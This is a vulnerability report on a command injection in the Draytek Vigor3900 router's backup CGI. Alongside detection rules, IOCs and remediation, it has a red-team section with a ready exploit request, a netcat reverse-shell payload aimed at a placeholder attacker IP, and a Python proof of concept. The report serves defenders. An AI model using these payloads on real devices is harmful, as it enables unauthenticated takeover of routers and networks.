CVE-2024-51251

Executive Summary

CVE-2024-51251 is a critical unauthenticated command injection vulnerability in the Draytek Vigor3900 router running firmware version 1.5.1.3. The flaw resides in the mainfunction.cgi script, specifically within the backup function handler. An attacker can inject arbitrary operating system commands via crafted HTTP requests, leading to full remote code execution (RCE) with root privileges. No authentication is required, and the vulnerability is publicly known with proof-of-concept (PoC) code available. The vendor has not released a patch as of this report, leaving all devices on this firmware version exposed.

CVSS Breakdown & Threat Level

• CVSS Score: 10.0 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary commands, effectively taking full control of the device. Given the lack of a patch and public exploit availability, active exploitation is highly likely.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw in the mainfunction.cgi CGI script. The backup function does not properly sanitize user-supplied input before passing it to a system shell command. By manipulating parameters such as the backup filename or path, an attacker can inject shell metacharacters (e.g., ;, |, &&) to execute arbitrary commands.

Root Cause: The application constructs a shell command string using unsanitized user input, then executes it via popen() or system(). For example, a parameter like action=backup&filename=test might be used in a command like tar -czf /tmp/backup/test.tar /data. If the filename parameter contains ;id, the command becomes tar -czf /tmp/backup/;id.tar /data, which executes id before the tar command fails.

Attack Vector: An attacker sends a crafted HTTP POST request to /cgi-bin/mainfunction.cgi with the action=backup parameter and a malicious filename value containing command injection payloads.

Impact: Full device compromise, including:

• Exfiltration of sensitive data (VPN credentials, configuration files).
• Installation of persistent backdoors.
• Lateral movement within the network.
• Denial of service by bricking the device.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable backup function
void handle_backup() {
    char cmd[512];
    char *filename = get_param("filename");
    snprintf(cmd, sizeof(cmd), "tar -czf /tmp/backup/%s.tar /data", filename);
    system(cmd);
}

Patched Code (Conceptual):

// Pseudocode for patched backup function
void handle_backup() {
    char cmd[512];
    char *filename = get_param("filename");
    // Sanitize input: allow only alphanumeric, underscore, hyphen
    if (!is_valid_filename(filename)) {
        return_error("Invalid filename");
        return;
    }
    snprintf(cmd, sizeof(cmd), "tar -czf /tmp/backup/%s.tar /data", filename);
    system(cmd);
}

Key Difference: The patched version validates the filename against a whitelist of allowed characters, preventing injection of shell metacharacters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target Draytek Vigor3900 with firmware 1.5.1.3.
• Network access to the device's web interface (typically port 80 or 443).

Exploit Steps:

1. Identify the target device using Shodan or manual scanning.
2. Send a crafted HTTP POST request to /cgi-bin/mainfunction.cgi with the following payload:

   POST /cgi-bin/mainfunction.cgi HTTP/1.1
   Host: <target_ip>
   Content-Type: application/x-www-form-urlencoded
   Content-Length: <length>
   
   action=backup&filename=;id;
   

3. Observe the output of the id command in the response (if reflected) or use a reverse shell payload:

   action=backup&filename=;nc -e /bin/sh <attacker_ip> 4444;
   

4. Listen on your attacker machine: nc -lvnp 4444

Proof-of-Concept (Python):

import requests

target = "http://<target_ip>/cgi-bin/mainfunction.cgi"
payload = ";id;"
data = {"action": "backup", "filename": payload}
response = requests.post(target, data=data)
print(response.text)

Blue Team (Detection & Response)

Detection Steps:

1. Monitor HTTP POST requests to /cgi-bin/mainfunction.cgi with action=backup and suspicious filename parameters containing shell metacharacters (;, |, &, $, `).
2. Look for outbound connections from the device to unknown IPs on high ports (e.g., 4444, 1337).
3. Check for unexpected processes spawned by the web server (e.g., sh, bash, nc, python).

Response:

1. Immediately isolate the affected device from the network.
2. Capture memory and disk images for forensic analysis.
3. Reset the device to factory defaults and apply any available firmware updates.
4. Review logs for signs of lateral movement.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /cgi-bin/mainfunction.cgi with action=backup and filename containing shell metacharacters.
• Outbound connections from the device to unusual IPs on ports 4444, 1337, 8080, etc.
• DNS queries to domains associated with C2 infrastructure.

File System IOCs:

• Unexpected files in /tmp/backup/ or /var/tmp/.
• Modified or new scripts in /etc/init.d/ or /usr/local/bin/.
• Presence of common backdoor binaries (e.g., nc, ncat, socat, busybox).

Process IOCs:

• Processes named sh, bash, python, perl spawned by the web server (e.g., lighttpd).
• Reverse shell processes connecting to external IPs.

Detection Engineering

YARA Rule

rule CVE_2024_51251_Command_Injection {
    meta:
        description = "Detects command injection attempts against Draytek Vigor3900 backup function"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51251"
    strings:
        $injection1 = "action=backup&filename="
        $injection2 = ";"
        $injection3 = "|"
        $injection4 = "`"
        $injection5 = "$("
    condition:
        $injection1 and any of ($injection2, $injection3, $injection4, $injection5)
}

Sigma Rule

title: Draytek Vigor3900 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to mainfunction.cgi with command injection payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/mainfunction.cgi'
        cs-uri-query|contains: 'action=backup&filename='
        cs-uri-query|contains|any:
            - ';'
            - '|'
            - '`'
            - '$('
    condition: selection
falsepositives:
    - Legitimate backup requests with unusual filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51251 Draytek Vigor3900 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/mainfunction.cgi"; http_uri; content:"action=backup&filename="; http_client_body; pcre:"/(;|\||\`|\$\(|&&)/"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable remote management of the Vigor3900 from the internet if not required.
2. Restrict access to the web interface using firewall rules (allow only trusted IPs).
3. Monitor logs for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from Draytek. As of now, no patch is available.
• Workaround: If possible, upgrade to a newer firmware version (if any) or replace the device with a patched alternative.
• Compensating Controls: Deploy a Web Application Firewall (WAF) with rules to block command injection patterns in HTTP requests.

Valters IT Signature:

Report generated by Valters IT DevSecOps & CTI Division. For inquiries, contact: cti@valters-it.com